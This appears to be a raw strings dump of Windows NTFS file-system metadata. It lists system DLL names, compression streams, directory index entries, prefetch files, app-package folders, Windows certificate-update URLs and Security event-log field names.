Windows.Security.Integrity.dll WofCompressedData $DSC Windows.Security.Integrity.dll Windows.Security.Integrity.dll WofCompressedData $DSC Windows.Services.TargetedContent.dll $Windows.Services.TargetedContent.dll WofCompressedData $DSC Windows.Services.TargetedContent.dll $Windows.Services.TargetedContent.dll WofCompressedData $DSC WINDOW~1.DLL Windows.SharedPC.AccountManager.dll WofCompressedData $DSC Windows.SharedPC.CredentialProvider.dll0 'Windows.SharedPC.CredentialProvider.dll WofCompressedData $DSC Windows.Shell.BlueLightReduction.dll $Windows.Shell.BlueLightReduction.dll WofCompressedData $DSC Windows.Shell.ServiceHostBuilder.dll $Windows.Shell.ServiceHostBuilder.dll WofCompressedData $DSC Windows.StateRepository.dll0 Windows.StateRepository.dll WofCompressedData $DSC WINDOW~1.DLL Windows.StateRepository.dll WofCompressedData $DSC WINDOW~2.DLL Windows.StateRepositoryBroker.dll WofCompressedData $DSC Windows.StateRepositoryBroker.dll !Windows.StateRepositoryBroker.dll WofCompressedData $DSC WINDOW~3.DLL Windows.StateRepositoryClient.dll WofCompressedData $DSC Windows.StateRepositoryClient.dll !Windows.StateRepositoryClient.dll WofCompressedData $DSC Windows.StateRepositoryCore.dll0 Windows.StateRepositoryCore.dll WofCompressedData $DSC WINDOW~4.DLL Windows.StateRepositoryCore.dll WofCompressedData $DSC WIF713~1.DLL Windows.StateRepositoryPS.dll WofCompressedData $DSC Windows.StateRepositoryPS.dll Windows.StateRepositoryPS.dll WofCompressedData $DSC Windows.StateRepositoryUpgrade.dll "Windows.StateRepositoryUpgrade.dll WofCompressedData $DSC WI842C~1.DLL Windows.StateRepositoryUpgrade.dll WofCompressedData $DSC wtdhost.dll0 wtdhost.dll WofCompressedData $DSC wtdhost.dll WofCompressedData $DSC wtdhost.dll $DSC $DSC WTDSEN~1.DLL wtdsensor.dll wtdsensor.dll WofCompressedData $DSC $DSC wuaueng.dll0 wuaueng.dll WofCompressedData $DSC wuaueng.dll $DSC $DSC wuauengcore.dll0 WUAUEN~1.DLL wuauengcore.dll WofCompressedData $DSC WUAUEN~1.DLL wuauengcore.dll0 wuauengcore.dll WofCompressedData $DSC WSHOMO~1.MUI wshom.ocx.mui WofCompressedData $DSC rasgcw.dll.mui RASGCW~1.MUI rasgcw.dll.mui WofCompressedData $DSC wshqos.dll.mui WSHQOS~1.MUI wshqos.dll.mui $DSC wshrm.dll.mui WSHRMD~1.MUI wshrm.dll.mui $DSC wsl.exe.mui0 wsl.exe.mui0 WSLEXE~1.MUI WofCompressedData $DSC WofCompressedData $DSC WsmRes.dll.mui WofCompressedData $DSC WofCompressedData $DSC WsmSvc.dll.mui WofCompressedData $DSC WSP_SR~1.MUI wsp_sr.dll.mui wsp_sr.dll.mui $DSC atl.dll WofCompressedData $DSC atlthunk.dll atlthunk.dll WofCompressedData $DSC $DSC atlthunk.dll atlthunk.dll WofCompressedData $DSC $DSC atmlib.dll atmlib.dll WofCompressedData $DSC AV1DEC~1.DLL av1decodermft_store.dll WofCompressedData AVCODE~1.DLL avcodec_ms.dll WofCompressedData AVCODE~1.DLL avcodec_ms.dll WofCompressedData AVFORM~1.DLL avformat_ms.dll WofCompressedData azroles.dll0 azroles.dll WofCompressedData $DSC azroles.dll0 azroles.dll WofCompressedData $DSC azroles.dll $DSC azroles.dll WofCompressedData $DSC BDEHDC~1.DLL BdeHdCfgLib.dll0 BdeHdCfgLib.dll WofCompressedData $DSC bdesvc.dll bdesvc.dll WofCompressedData $DSC bdesvc.dll WofCompressedData $DSC BDESYS~1.DLL BdeSysprep.dll $DSC RASCHA~1.DLL raschapext.dll $DSC $DSC NotificationController.dll NotificationController.dll WofCompressedData $DSC RASCHA~1.DLL raschapext.dll WofCompressedData $DSC NotificationControllerPS.dll NotificationControllerPS.dll WofCompressedData $DSC RDPCOR~1.DLL rdpcorets.dll rdpcorets.dll WofCompressedData $DSC WofCompressedData $DSC RDPCRE~1.DLL rdpcredentialprovider.dll $DSC RDPCRE~1.DLL rdpcredentialprovider.dll $DSC OnDemandBrokerClient.dll OnDemandBrokerClient.dll WofCompressedData $DSC OnDemandBrokerClient.dll OnDemandBrokerClient.dll WofCompressedData $DSC OnDemandConnRouteHelper.dll0 OnDemandConnRouteHelper.dll WofCompressedData $DSC OnDemandConnRouteHelper.dll0 OnDemandConnRouteHelper.dll WofCompressedData $DSC RDPDWM~1.DLL RdpDwmEncoder.dll $DSC $DSC OneCoreUAPCommonProxyStub.dll OneCoreUAPCommonProxyStub.dll WofCompressedData $DSC RDPSHA~1.DLL rdpsharercom.dll WofCompressedData $DSC RDPSHE~1.DLL RdpShellExt.dll WofCompressedData $DSC RDPSHE~2.DLL RdpShellLoader.dll $DSC $DSC RESOUR~1.DLL ResourcePolicyClient.dll $DSC $DSC WofCompressedData $DSC RESOUR~1.DLL WofCompressedData $DSC RESOUR~1.DLL RESOUR~1.DLL ResourcePolicyServer.dll $DSC $DSC sqmapi.dll WofCompressedData $DSC sqmapi.dll sqmapi.dll WofCompressedData $DSC $DSC sqmapi.dll $DSC $DSC srchadmin.dll SRCHAD~1.DLL srchadmin.dll WofCompressedData $DSC srpapi.dll $DSC srpapi.dll srpapi.dll WofCompressedData $DSC $DSC srpapi.dll srpapi.dll WofCompressedData $DSC SRPUXN~1.DLL SrpUxNativeSnapIn.dll $DSC ssdpsrv.dll0 ssdpsrv.dll WofCompressedData $DSC ssdpsrv.dll $DSC $DSC sspicli.dll $DSC $DSC sspicli.dll0 sspicli.dll WofCompressedData $DSC $DSC stdprov.dll0 stdprov.dll WofCompressedData $DSC sti.dll $DSC $DSC sti.dll WofCompressedData $DSC sti.dll0 sti.dll WofCompressedData $DSC StructuredQuery.dll0 STRUCT~1.DLL StructuredQuery.dll WofCompressedData $DSC $DSC sud.dll $DSC $DSC sud.dll0 sud.dll WofCompressedData $DSC sud.dll0 sud.dll WofCompressedData $DSC sxs.dll WofCompressedData $DSC sxshared.dll WofCompressedData $DSC ResourcePolicyClient.dll ResourcePolicyClient.dll WofCompressedData $DSC sxshared.dll sxshared.dll WofCompressedData $DSC WofCompressedData $DSC sysglobl.dll $DSC sysglobl.dll WofCompressedData $DSC sysmain.dll0 sysmain.dll WofCompressedData $DSC sysmain.dll $DSC $DSC WofCompressedData $DSC System.dll System.dll WofCompressedData $DSC System.Activities.dll System.Activities.dll System.Activities.dll System.Activities.dll $DSC SYSTEM~1.DLL System.Activities.dll WofCompressedData $DSC difxapi.dll WofCompressedData $DSC dimsjob.dll WofCompressedData $DSC dimsjob.dll0 dimsjob.dll WofCompressedData $DSC dimsjob.dll0 dimsjob.dll WofCompressedData $DSC directsr.dll $DSC $DSC DIRECT~1.DLL directxdatabasehelper.dll $DSC $DSC DIRECT~1.DLL directxdatabasehelper.dll directxdatabasehelper.dll WofCompressedData $DSC DIRECT~1.DLL directxdatabasehelper.dll directxdatabasehelper.dll WofCompressedData $DSC $DSC MrmCoreR.dll WofCompressedData $DSC MrmCoreR.dll MrmCoreR.dll WofCompressedData $DSC $DSC MrmCoreR.dll WofCompressedData $DSC MRMDEP~1.DLL MrmDeploy.dll MrmDeploy.dll WofCompressedData $DSC edptask.dll $DSC $DSC edptask.dll0 edptask.dll WofCompressedData $DSC edputil.dll $DSC $DSC edputil.dll0 edputil.dll WofCompressedData $DSC esevss.dll WofCompressedData $DSC eShims.dll $DSC $DSC eShims.dll eShims.dll WofCompressedData $DSC esscli.dll esscli.dll WofCompressedData $DSC iertutil.dll WofCompressedData $DSC iertutil.dll iertutil.dll WofCompressedData $DSC $DSC iesetup.dll WofCompressedData $DSC iesetup.dll $DSC LOCALS~1 LocalState $I300 ROAMIN~1 RoamingState $I300 TEMPST~1 TempState $I300 LOCALC~1 LocalCache $I300 Settings $I300 $I30 $I30 ROAMIN~1.LOC settings.dat settings.dat.LOG1 SETTIN~1.LOG $I300 $I30 $I30 INETCA~1 INetCookies INetHistory INETHI~1 Temp MODELP~1.JSO ModelPayload.json LocalLow $I300 Microsoft MICROS~1 SYSTEM~1 SystemAppData $I300 settings.dat AppData $I300 roaming.lock ROAMIN~1.LOC wns_push_client.dll0 WNS_PU~1.DLL wns_push_client.dll _PLATF~1 _platform_specific $I300 win_x64 win_x64 $I300 widevinecdm.dll widevinecdm.dll.sig widevinecdm.dll0 widevinecdm.dll COPILO~1 CopilotDev $I300 Square44x44Logo.scale-200.png $I30 $I30 Square150x150Logo.scale-150.png COPILO~2 CopilotStable $I300 Square44x44Logo.scale-200.png 7Square44x44Logo.targetsize-32_altform-lightunplated.png $I30 $I30 SmallLogoCopilot.png.DATA SmallLogoCopilot.png SmallLogoCopilot.png SmallLogoCopilotDev.png.DATA SmallLogoCopilotDev.png0 SmallLogoCopilotDev.png DesktopSpotlight.dll WofCompressedData $DSC IrisService.dll WofCompressedData $DSC Themes $I300 Custom.theme CUSTOM~1.THE {86432~1 {86432a0b-3c7d-4ddf-a89c-172faa90485d} $I300 $I30 $I30 72286-1000_UserData.bin {7e288440-5c7f-418d-8f9e-c5dd2e49ce01} {7E288~1 "Wide310x150Logo.scale-150.png.DATA Wide310x150Logo.scale-150.png Wide310x150Logo.scale-150.png "Wide310x150Logo.scale-200.png.DATA Wide310x150Logo.scale-200.png Wide310x150Logo.scale-200.png "Wide310x150Logo.scale-400.png.DATA Wide310x150Logo.scale-400.png Wide310x150Logo.scale-400.png SEC7EF~1.PF0 SETUP.EXE-84DB82F4.pf Custom.theme CUSTOM~1.THE SETUPM~1 SetupMetrics $I300 5648_13416076882142000_5648.pma 5648_1~1.PMA23F 5692_13416077614172253_5692.pma 5692_1~1.PMA564 CONTAI~1.DAT container.dat rdpcredentialprovider.dll WofCompressedData $DSC rasphone.pbk SearchHost.exe WofCompressedData $DSC $I300 container.dat CONTAI~1.DAT CONTAI~1.DAT container.dat SearchUx.UI.dll WofCompressedData $DSC SearchUx.InternalWebApi.dll WofCompressedData $DSC SearchUx.Core.dll WofCompressedData $DSC LOCALS~1 LocalState $I300 $I30 $I30 CONSTR~1w EBWebView EBWEBV~1 Search $I300 $I30 $I30 INETCA~1 INetCookies INetHistory INETHI~1 Temp SYSTEM~1 SystemAppData $I300 Helium settings.dat AppData $I300 roaming.lock ROAMIN~1.LOC Temp $I300 47e48d23-f01b-435a-9a85-836f3625905a.tmp 47E48D~1.TMP INETCA~1 INetCache $I300 $I30 $I30 container.dat CONTAI~1.DAT P6U2FIIL SVHJD072 INETHI~1 INetHistory $I300 INETCO~1 INetCookies $I300 SETTIN~1.LOG settings.dat.LOG1 SETTIN~2.LOG settings.dat.LOG2 MICROS~1 Microsoft $I300 CryptnetUrlCache CRYPTN~1 Internet Explorer INTERN~1 CRYPTN~1 CryptnetUrlCache $I300 Content MetaData MetaData $I300 892580777767344DCAEF580FFA143EA6_06AA6C92E12381CACC311949FAA50FF1 $I30 $I30 F0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 E2C6CB~1 E2C6CB~1 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D Content $I300 892580777767344DCAEF580FFA143EA6_06AA6C92E12381CACC311949FAA50FF1 $I30 $I30 F0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 E2C6CB~1 E2C6CB~1 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 77EC63~1 77EC63BDA74BD0D0E0426DC8F8008506 http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab 77EC63~1 77EC63BDA74BD0D0E0426DC8F8008506 57C8ED~1 57C8EDB95DF3F0AD4EE2DC2B8CFD4157 http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab 57C8ED~1 57C8EDB95DF3F0AD4EE2DC2B8CFD4157 FB0D84~1 FB0D848F74F70BB2EAA93746D24D9749 http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab "80424021c7dbd21:0" FB0D84~1 FB0D848F74F70BB2EAA93746D24D9749 MICROS~2.STA Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy $I300 $I30 $I30 LOCALS~1 RoamingState ROAMIN~1 Settings $I300 $I30 $I30 ROAMIN~1.LOC settings.dat settings.dat.LOG1 SETTIN~1.LOG $I300 $I30 $I30 INETCA~1 INetCookies INetHistory INETHI~1 Temp SYSTEM~1 SystemAppData $I300 settings.dat $I300 SETTIN~1.LOG settings.dat.LOG1 SETTIN~2.LOG settings.dat.LOG2 StartMenu.dll WofCompressedData $DSC SV1421~1.PF0 SVCHOST.EXE-B211F709.pf MIDISR~1.PF0 MIDISRV.EXE-526A993B.pf MICROS~1.CON Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy $I300 $I30 $I30 LOCALS~1 RoamingState ROAMIN~1 LOCALS~1 LocalState $I300 $I30 $I30 ContentManagementSDK CONTEN~1 StagedAssets Tips ROAMIN~1 RoamingState $I300 TEMPST~1 TempState $I300 LOCALC~1 LocalCache $I300 Settings $I300 $I30 $I30 ROAMIN~1.LOC settings.dat settings.dat.LOG1 SETTIN~1.LOG $I300 $I30 $I30 INETCA~1 INetCookies INetHistory INETHI~1 Temp SYSTEM~1 SystemAppData $I300 settings.dat AppData $I300 WofCompressedData $DSC WINDOW~1.DLL $DSC WINDOW~1.DLL Windows.Gaming.XboxLive.Storage.dll WofCompressedData $DSC WINDOW~1.DLL Windows.Gaming.XboxLive.Storage.dll WofCompressedData $DSC WofCompressedData $DSC Windows.Globalization.dll Windows.Graphics.dll WINDOW~1.DLL Windows.Graphics.dll WofCompressedData $DSC WINDOW~1.DLL Windows.Graphics.dll $DSC $DSC WINDOW~1.DLL Windows.Graphics.dll $DSC $DSC WINDOW~1.DLL Windows.Graphics.dll Windows.Graphics.dll WofCompressedData $DSC $DSC WINDOW~1.DLL Windows.Management.SecureAssessment.CfgProvider.dll $DSC WINDOW~1.DLL Windows.Management.SecureAssessment.Diagnostics.dll $DSC WofCompressedData $DSC Windows.Management.Service.dll UserDeviceRegistration.dll UserDeviceRegistration.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL $DSC WofCompressedData $DSC WINDOW~1.DLL WINDOW~1.DLL Windows.Management.Workplace.dll $DSC $DSC WINDOW~1.DLL Windows.Management.Workplace.dll $DSC $DSC wbemcntl.dll wbemcntl.dll WofCompressedData $DSC wbemcntl.dll $DSC $DSC wbemcomn.dll WofCompressedData $DSC wbemcomn.dll wbemcomn.dll WofCompressedData $DSC $DSC wbemprox.dll wbemprox.dll WofCompressedData $DSC $DSC wbemsvc.dll0 wbemsvc.dll WofCompressedData $DSC wbemsvc.dll $DSC $DSC wbhst_pm.dll wbhst_pm.dll $DSC wdsutil.dll0 wdsutil.dll WofCompressedData $DSC $DSC wdsutil.dll $DSC $DSC webauthn.dll webauthn.dll WofCompressedData $DSC $DSC webauthn.dll WofCompressedData $DSC WofCompressedData $DSC WebExperienceHost.dll WEBEXP~1.DLL $DSC WofCompressedData $DSC WEBEXP~1.DLL WebExperienceHost.dll $DSC WEBEXP~1.DLL WebExperienceHost.dll WofCompressedData $DSC WEBPLA~1.DLL webplatstorageserver.dll WofCompressedData $DSC wecsvc.dll wecsvc.dll WofCompressedData $DSC wecsvc.dll 11501150 $DSC WEPHOS~1.DLL wephostsvc.dll wephostsvc.dll WofCompressedData $DSC WEPHOS~1.DLL wephostsvc.dll $DSC PROGRA~2 Program Files (x86) $I300 $I30 $I30 COMMON~1 Internet Explorer INTERN~1 Microsoft COMMON~1 Common Files $I300 Microsoft Shared MICROS~1 System MICROS~1 Microsoft Shared $I300 MSInfo $I300 dao360.dll $I300 $I30 $I30 InkDiv.dll InkObj.dll micaut.dll Microsoft.Ink.dll mraut.dll en-US $I300 InkObj.dll.mui micaut.dll.mui rtscom.dll.mui TabTip32.exe.mui TipRes.dll.mui TipTsf.dll.mui MSInfo $I300 en-US msinfo32.exe en-US $I300 SIGNUP $I300 install.ins MICROS~1 Microsoft $I300 $I30 $I30 EdgeCore EdgeUpdate EDGEUP~1 EdgeWebView Edge $I300 Application APPLIC~1 Temp APPLIC~1 Application $I300 $I30 $I30 144037~1.115 delegatedWebFeatures.sccd DELEGA~1.SCC NTUSER.DAT Videos $I300 Capturesini desktop.ini MICROS~1.65_ Microsoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe $I300 $I30 $I30 AppxManifest.xml APPXMA~1.XML SAVEDG~1 Saved Games $I300 desktop.ini DOWNLO~1 Downloads $I300 desktop.ini mRemoteNG-Installer-1.76.20.24615.msi MREMOT~1.MSI DOCUME~1 Documents $I300 $I30 $I30 Pictures My Videos MYMUSI~1 MYPICT~1 Desktop@ $I300 desktop.ini SETUPE~3.PF0 SETUP.EXE-28D60B5E.pf SMALLL~1.PNG SmallLogo.png AppData $I300 Localng LocalLow Roaming $TXF_DATA SETUPE~4.PF0 SETUP.EXE-28D60B62.pf Roaming $I300 Adobeso Microsoft MICROS~1 mRemoteNG MREMOT~1 MICROS~1 Microsoft $I300 $I30 $I30 INTERN~1 Spelling Vaultws Windows $I300 EmbeddedBrowserWebView.dll EMBEDD~1.DLL Windows $I300 $I30 $I30 SendToM Start Menu STARTM~1s Templates TEMPLA~1 TEMPLA~1 Templates $I300 STARTM~1 Start Menu $I300 desktop.ini Programs Programs $I300 $I30 $I30 MAINTE~1ool System ToolsrSh SYSTEM~1Pow Windows PowerShell WINDOW~1 WINDOW~1 Windows PowerShell $I300 $I30 $I30 0f}.tmp {e308fd3f-c018-4948-9ba6-18ba7dbf4a62}.tmp {E308F~1.TMP SYSTEM~1 System Tools $I300 $I30 $I30 {71c9157b-5b7f-4a4a-81c5-4f21e72ea94f}.tmp~ {d8e144f9-9682-434f-862c-347dd8052d43}.tmp~ {D8E14~1.TMP DATAST~1.EDB DataStore.edb NDISVI~1.PNF ndisvirtualbus.PNF schedcli.dll WofCompressedData $DSC Download $I300 0E849B~1892 9DAA50~14a6 $I30 $I30 $I30 $I30 SharedFileCache SHARED~1 8B24B0~1 8B24B027-1DEE-BABB-9A95-3517DFB9C552 $I300 sls.cab TMPBE8D.tmp sls.cab DL0A4E~1.PF0 DLLHOST.EXE-F7FC6593.pf SMARTS~1.PF0 SMARTSCREEN.EXE-EACC1250.pf vminst.log CBSPER~1.LOG CbsPersist_20260224075936.log DIRECT~1.SDB DirectXApps.sdb MIGRAT~1.LOG migration.dat.LOG1 MIGRAT~2.LOG migration.dat.LOG2 EDGEUP~1 EdgeUpdate $I300 $I30 $I30 13217~1.3 CopilotUpdate.exe COPILO~1.EXE SCM.EVM EDGEWE~1 EdgeWebView $I300 Application APPLIC~1 Temp APPLIC~1 Application $I300 $I30 $I30 144037~1.115 145.0.3800.65 145038~1.65 SetupMetrics $I300 $DSC 1033 $I300 StructuredQuerySchema.bin STRUCT~1.BIN $DSC STRUCT~1.BIN StructuredQuerySchema.bin $DSC EXPERI~1.DLL ExperienceExtensions.dll WofCompressedData $DSC SYSTEM~1.AUX System.Xml.ni.dll.aux ExplorerFrame.dll EXPLOR~1.DLL ExplorerFrame.dll WofCompressedData $DSC $DSC EXPLOR~1.DLL ExplorerFrame.dll ExplorerFrame.dll WofCompressedData $DSC $DSC FAMILY~1.DLL Family.SyncEngine.dll Family.SyncEngine.dll WofCompressedData $DSC FAMILY~1.DLL Family.SyncEngine.dll $DSC $DSC FAMILY~1.DLL FamilySafetyExt.dll0 FamilySafetyExt.dll WofCompressedData $DSC FAMILY~1.DLL FamilySafetyExt.dll0 FamilySafetyExt.dll WofCompressedData $DSC $DSC fastprox.dll fastprox.dll WofCompressedData $DSC $DSC fastprox.dll WofCompressedData $DSC FAXPRI~1.DLL FaxPrinterInstaller.dll $DSC FAXPRI~1.DLL FaxPrinterInstaller.dll0 FaxPrinterInstaller.dll WofCompressedData $DSC iphlpsvc.dll WofCompressedData $DSC iphlpsvc.dll iphlpsvc.dll WofCompressedData $DSC $DSC ipmiprr.dll0 ipmiprr.dll WofCompressedData $DSC ipmiprr.dll0 ipmiprr.dll $DSC WofCompressedData $DSC IRISSE~1.DLL IrisService.dll $DSC isapi.dll $DSC isapi.dll $DSC isapi.dll $DSC iyuv_32.dll0 iyuv_32.dll WofCompressedData $DSC iyuv_32.dll0 iyuv_32.dll WofCompressedData $DSC iyuv_32.dll $DSC WofCompressedData $DSC JAVASC~1.DLL $DSC Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-Security-Auditing Security EventData Data SubjectUserSid SubjectUserName SubjectDomainName SubjectLogonId NewProcessId NewProcessName TokenElevationType ProcessId CommandLine TargetUserSid TargetUserName TargetDomainName TargetLogonId ParentProcessName MandatoryLabel Registry %%1936 Microsoft-Windows-Security-Auditing Security SubjectUserSid SubjectUserName SubjectDomainName SubjectLogonId TargetUserSid TargetUserName TargetDomainName TargetLogonId TargetProcessId TargetProcessName Proc WofCompressedData $DSC SETUPP~1.DLL SetupPlatformProvider.dll WofCompressedData $DSC WofCompressedData $DSC System.XML.dll $DSC SYSTEM~1.DLL System.XML.dll WofCompressedData $DSC WofCompressedData $DSC System.Xml.Linq.dll $DSC SYSTEM~1.DLL SystemSettings.dll SystemSettings.dll WofCompressedData $DSC $DSC SYSTEM~1.DLL SystemSettings.dll WofCompressedData $DSC WofCompressedData $DSC SYSTEM~1.DLL WofCompressedData $DSC SYSTEM~1.DLL taskschd.dll taskschd.dll WofCompressedData $DSC $DSC ShellCommonCommonProxyStub.dll ShellCommonCommonProxyStub.dll WofCompressedData $DSC taskschd.dll WofCompressedData $DSC taskschd.dll WofCompressedData $DSC ShellCommonCommonProxyStub.dll ShellCommonCommonProxyStub.dll WofCompressedData $DSC taskschd.dll taskschd.dll WofCompressedData $DSC $DSC taskschd.dll $DSC $DSC TASKSC~1.DLL TaskSchdPS.dll TaskSchdPS.dll WofCompressedData $DSC $DSC wmidx.dll $DSC WMIMIG~1.DLL WMIMigrationPlugin.dll $DSC $DSC WMIMIG~1.DLL WMIMigrationPlugin.dll WMIMigrationPlugin.dll WofCompressedData $DSC WofCompressedData $DSC WMINet_Utils.dll WMINET~1.DLL $DSC wmiutils.dll $DSC wmiutils.dll wmiutils.dll WofCompressedData $DSC $DSC WMNetMgr.dll WofCompressedData $DSC WMNetMgr.dll WMNetMgr.dll WofCompressedData $DSC WMNetMgr.dll WMNetMgr.dll WofCompressedData $DSC WMNetMgr.dll WofCompressedData $DSC WMNetMgr.dll WofCompressedData $DSC wmp.dll0 wmp.dll WofCompressedData $DSC wmp.dll0 wmp.dll WofCompressedData $DSC wmp.dll WofCompressedData $DSC wmp.dll WofCompressedData $DSC WmpDui.dll WmpDui.dll WofCompressedData $DSC Windows.Gaming.UI.GameBar.dll Windows.Gaming.UI.GameBar.dll WofCompressedData $DSC Windows.Gaming.XboxLive.Storage.dll0 #Windows.Gaming.XboxLive.Storage.dll WofCompressedData $DSC Windows.Gaming.XboxLive.Storage.dll0 #Windows.Gaming.XboxLive.Storage.dll WofCompressedData $DSC WINDOW~1.DLL Windows.Globalization.dll WofCompressedData $DSC omadmapi.dll omadmapi.dll WofCompressedData $DSC $DSC omadmapi.dll omadmapi.dll WofCompressedData $DSC $DSC OMSAUT~1.DLL omsautimmss.dll WofCompressedData ONDEMA~1.DLL OnDemandBrokerClient.dll WofCompressedData $DSC WofCompressedData $DSC ONDEMA~1.DLL ONDEMA~1.DLL OnDemandBrokerClient.dll $DSC ONDEMA~1.DLL OnDemandBrokerClient.dll $DSC WofCompressedData $DSC ONDEMA~1.DLL $DSC WofCompressedData $DSC ONDEMA~1.DLL ONDEMA~1.DLL OnDemandConnRouteHelper.dll WofCompressedData $DSC oneauth.dll WofCompressedData $DSC APPLIC~1.WIN ApplicationTheme.winmd WofCompressedData WofCompressedData $DSC ONECOR~1.DLL ONECOR~1.DLL OneCoreUAPCommonProxyStub.dll WofCompressedData $DSC ONECOR~1.DLL OneCoreUAPCommonProxyStub.dll WofCompressedData $DSC oneds.dll WofCompressedData $DSC OPCSER~1.DLL OpcServices.dll0 OpcServices.dll WofCompressedData $DSC OPCSER~1.DLL OpcServices.dll WofCompressedData $DSC OPCSER~1.DLL OpcServices.dll0 OpcServices.dll WofCompressedData $DSC $DSC OPCSER~1.DLL OpcServices.dll WofCompressedData $DSC pbkmigr.dll $DSC $DSC pbkmigr.dll0 pbkmigr.dll WofCompressedData $DSC pbkmigr.dll WofCompressedData $DSC pcacli.dll pcacli.dll WofCompressedData $DSC PCPKsp.dll WofCompressedData $DSC PCPKsp.dll PCPKsp.dll WofCompressedData $DSC $DSC PCPKsp.dll PCPKsp.dll WofCompressedData $DSC PCPKsp.dll WofCompressedData $DSC AA1S5C~1.JPG AA1S5CIH[1].jpg WI7706~1.ETL WindowsUpdate.20260221.121757.401.32.etl SV0FB5~1.PF0 SVCHOST.EXE-BE29F373.pf strings.json STRING~1.JSO wlidprov.dll $DSC $DSC wlidprov.dll wlidprov.dll WofCompressedData $DSC $DSC wlidprov.dll wlidprov.dll WofCompressedData $DSC wlidprov.dll WofCompressedData $DSC Windows.ApplicationModel.Background.SystemEventsBroker.dll :Windows.ApplicationModel.Background.SystemEventsBroker.dll WofCompressedData $DSC Windows.ApplicationModel.Background.SystemEventsBroker.dll :Windows.ApplicationModel.Background.SystemEventsBroker.dll WofCompressedData $DSC Windows.ApplicationModel.Background.TimeBroker.dll 2Windows.ApplicationModel.Background.TimeBroker.dll WofCompressedData $DSC Windows.ApplicationModel.Background.TimeBroker.dll 2Windows.ApplicationModel.Background.TimeBroker.dll WofCompressedData $DSC windows.applicationmodel.datatransfer.dll )windows.applicationmodel.datatransfer.dll WofCompressedData $DSC windows.applicationmodel.datatransfer.dll )windows.applicationmodel.datatransfer.dll WofCompressedData $DSC Windows.ApplicationModel.LockScreen.dll0 'Windows.ApplicationModel.LockScreen.dll WofCompressedData $DSC Windows.ApplicationModel.LockScreen.dll0 'Windows.ApplicationModel.LockScreen.dll WofCompressedData $DSC Windows.ApplicationModel.Store.dll "Windows.ApplicationModel.Store.dll WofCompressedData $DSC Windows.ApplicationModel.Store.dll "Windows.ApplicationModel.Store.dll WofCompressedData $DSC Windows.ApplicationModel.Store.Preview.DOSettings.dll 5Windows.ApplicationModel.Store.Preview.DOSettings.dll WofCompressedData $DSC Windows.ApplicationModel.Store.Preview.DOSettings.dll 5Windows.ApplicationModel.Store.Preview.DOSettings.dll WofCompressedData $DSC WIFICL~1.DLL WiFiCloudStore.dll WiFiCloudStore.dll WofCompressedData $DSC $DSC WIFICL~1.DLL WiFiCloudStore.dll $DSC $DSC WIFICO~1.DLL WiFiConfigSP.dll WiFiConfigSP.dll WofCompressedData $DSC WIFICO~1.DLL WiFiConfigSP.dll $DSC $DSC WIMINT~1.DLL wiminterop.dll wiminterop.dll WofCompressedData $DSC WIMINT~1.DLL wiminterop.dll WofCompressedData $DSC WIMINT~1.DLL wiminterop.dll $DSC WofCompressedData $DSC WIN32_~1.DLL Win32_DeviceGuard.dll $DSC WINDOW~1.DLL WindowManagementAPI.dll0 WindowManagementAPI.dll WofCompressedData $DSC $DSC WINDOW~1.DLL WindowManagementAPI.dll WofCompressedData $DSC WINDOW~1.DLL WindowManagementAPI.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL $DSC TsUsbRedirectionGroupPolicyExtension.dll (TsUsbRedirectionGroupPolicyExtension.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL WINDOW~1.DLL Windows.ApplicationModel.Background.SystemEventsBroker.dll $DSC WINDOW~1.DLL Windows.ApplicationModel.Background.SystemEventsBroker.dll WofCompressedData $DSC WINDOW~1.DLL Windows.ApplicationModel.Background.SystemEventsBroker.dll $DSC WINDOW~1.DLL Windows.ApplicationModel.Background.TimeBroker.dll $DSC WofCompressedData $DSC WINDOW~1.DLL WofCompressedData $DSC WINDOW~1.DLL dData $DSC WINDOW~1.DLL Windows.ApplicationModel.Core.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL $DSC WofCompressedData $DSC WINDOW~1.DLL WINDOW~1.DLL windows.applicationmodel.datatransfer.dll WofCompressedData $DSC WINDOW~1.DLL Windows.ApplicationModel.LockScreen.dll $DSC $DSC WofCompressedData $DSC WINDOW~1.DLL $DSC WofCompressedData $DSC WINDOW~1.DLL $DSC WINDOW~1.DLL Windows.ApplicationModel.Store.dll WofCompressedData $DSC WINDOW~1.DLL Windows.System.UserProfile.DiagnosticsSettings.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL dData $DSC WofCompressedData $DSC WINDOW~1.DLL WINDOW~1.DLL Windows.System.UserProfile.DiagnosticsSettings.dll $DSC $DSC Windows.UI.dll WINDOW~1.DLL Windows.UI.dll WofCompressedData $DSC $DSC WINDOW~1.DLL Windows.UI.dll WofCompressedData $DSC WINDOW~1.DLL Windows.UI.dll WofCompressedData $DSC WINDOW~1.DLL Windows.UI.dll Windows.UI.dll WofCompressedData $DSC WINDOW~1.DLL Windows.UI.Core.TextInput.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL WINDOW~1.DLL Windows.UI.Cred.dll WofCompressedData $DSC WINDOW~1.DLL Windows.UI.Cred.dll0 Windows.UI.Cred.dll WofCompressedData $DSC $DSC 